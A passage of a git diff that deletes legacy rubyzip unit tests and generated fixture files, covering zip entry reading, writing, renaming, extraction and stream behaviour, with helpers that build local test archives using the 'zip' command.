test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/data/generated/5entry.zip b/lib/zip/test/data/generated/5entry.zip deleted file mode 100644 index ef580052ed..0000000000 Binary files a/lib/zip/test/data/generated/5entry.zip and /dev/null differ diff --git a/lib/zip/test/data/generated/empty.txt b/lib/zip/test/data/generated/empty.txt deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/lib/zip/test/data/generated/empty.zip b/lib/zip/test/data/generated/empty.zip deleted file mode 100644 index 15cb0ecb3e..0000000000 Binary files a/lib/zip/test/data/generated/empty.zip and /dev/null differ diff --git a/lib/zip/test/data/generated/empty_chmod640.txt b/lib/zip/test/data/generated/empty_chmod640.txt deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/lib/zip/test/data/generated/emptytestdir/.keep b/lib/zip/test/data/generated/emptytestdir/.keep deleted file mode 100644 index e69de29bb2..0000000000 diff --git a/lib/zip/test/data/generated/longAscii.txt b/lib/zip/test/data/generated/longAscii.txt deleted file mode 100644 index 91e1cc1ce0..0000000000 --- a/lib/zip/test/data/generated/longAscii.txt +++ /dev/null @@ -1,4512 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer 